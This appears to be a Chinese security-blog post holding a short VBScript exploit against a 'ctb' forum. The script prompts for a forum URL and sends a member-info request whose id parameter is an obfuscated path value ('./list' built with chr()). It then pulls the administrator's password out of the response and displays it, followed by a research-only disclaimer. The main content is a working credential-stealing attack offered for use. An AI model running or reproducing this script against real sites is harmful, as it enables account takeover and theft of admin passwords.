软件作者:lcx
url=inputbox("请输入ctb论坛地址,例http://www.col-e.net/ylj/ctb")
if url="" then
msgbox ("未输入地址")
wscript.quit
end if
Set oXMLHttpRequest = CreateObject("Msxml2.XMLHTTP")
oXMLHttpRequest.Open "GET", url&"/index.php?mods=member&action=info&id="&chr(46)&chr(47)&chr(108)&chr(105)&chr(115)&chr(116), False, False
oXMLHttpRequest.Send
str=oXMLHttpRequest.ResponseText
Wscript.Echo replace(MID(str,instr(str,">用户资料>"),len(">用户资料>")+33),">用户资料>","最小id用户一般是管理员他的密码是:")
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论